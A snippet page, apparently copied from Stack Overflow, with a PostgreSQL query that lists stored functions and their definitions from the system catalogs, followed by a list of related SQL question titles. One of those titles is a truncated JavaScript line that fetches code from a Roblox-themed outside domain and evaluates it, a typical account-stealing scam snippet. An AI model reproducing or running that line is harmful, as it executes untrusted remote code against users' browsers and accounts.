Sp help text in postgresql

SELECT n.nspname AS schema
      ,proname AS fname
      ,proargnames AS args
      ,t.typname AS return_type
      ,d.description
      ,pg_get_functiondef(p.oid) as definition
--      ,CASE WHEN NOT p.proisagg THEN pg_get_functiondef(p.oid)
--            ELSE 'pg_get_functiondef() can''t be used with aggregate functions'
--       END as definition
  FROM pg_proc p
  JOIN pg_type t
    ON p.prorettype = t.oid
  LEFT OUTER
  JOIN pg_description d
    ON p.oid = d.objoid
  LEFT OUTER
  JOIN pg_namespace n
    ON n.oid = p.pronamespace
 WHERE NOT p.proisagg
   AND n.nspname~'<$SCHEMA_NAME_PATTERN>'
   AND proname~'<$FUNCTION_NAME_PATTERN>'

Source: stackoverflow.com

Similar codes

0 vote176 views1 answer
Sql server split string and insert into table select
SQL
4 votes191 views1 answer
Mac install mysql
SQL
2 votes201 views1 answer
ADD COLOUNS CREATED AND UPDATED AT IN MYSQL
SQL
0 vote195 views3 answers
Magento 2 order delete from db
SQL
0 vote189 views1 answer
Which sql statement would you use to remove a view called emp_dept_vu from your schema?
SQL
5 votes202 views2 answers
Oracle list columns
SQL
3 votes218 views1 answer
How to add unique constraint in mysql table
SQL
0 vote164 views2 answers
CREATE TABLE researcher ( researcherid serial PRIMARY KEY, name text );
SQL
4 votes177 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
2 votes252 views1 answer
Oracle block
SQL